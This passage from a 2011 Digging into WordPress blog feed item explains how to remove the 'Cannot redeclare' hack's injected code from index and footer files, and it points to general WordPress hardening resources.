<p>Notice it there in the last line.. it&#8217;s like that for all teh files. And again, if you don&#8217;t see anything then look for it off-screen. Once you find it, <strong>delete it</strong>. Then repeat for all index and footer files on your server. Once you&#8217;ve done that the &#8220;Cannot redeclare&#8221; hack should be gone, but you should take steps to prevent future attacks..</p>
<h3>Securing your WordPress site</h3>
<p>For public websites, <em>there is no such thing as perfect security</em>. There are many ways to <em>improve</em> security, however, including finding a more secure host for your sites. In general, private or some sort of virtual private hosting is better than shared hosting (for many reasons), but it&#8217;s also more expensive. Hosting is one of those things where you get what you pay for.. so if you have the means, upgrading to a better, more secure host is the first thing I would consider.</p>
<p>Beyond switching hosts, there are a number of known effective measures you can take to improve the security of your site. There are many excellent resources available to help with site security (both for WordPress and in general), including an entire Lynda.com video/screencast series that focuses in-depth on <a href="http://www.lynda.com/tutorial/78547">devloping secure WordPress sites</a>. Even more recently is Daniel Pataki&#8217;s Smashing WP article on <a href="http://wp.smashingmagazine.com/2011/11/10/securing-your-wordpress-website/">securing your WordPress website</a>. And if you want to hear it direct from the horse&#8217;s mouth, check out the good &#8216;ol fashioned WP Codex for info on <a href="http://codex.wordpress.org/Hardening_WordPress">hardening WordPress</a>.</p>
<h3>More help..</h3>
<p>There&#8217;s currently not a lot of info on the &#8220;Cannot redeclare&#8221; hack, but this <a href="http://wordpress.org/support/topic/fatal-error-cannot-redeclare-_765258526">WP Forum thread</a> provides some additional clues. If you have any information regarding this hack, or how it relates to the TimThumb hack, please leave a comment to share the information with others in the WP community. Thanks.</p>
<hr />
<p><small>© 2011 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/">Permalink</a> | <a href="http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/#comments">17 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/&title=Clean Up &#8220;Cannot redeclare&#8221; Hack">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/hacking/" rel="tag">hacking</a>, <a href="http://digwp.com/tag/php/" rel="tag">PHP</a>, <a href="http://digwp.com/tag/security/" rel="tag">Security</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
	</channel>
</rss>
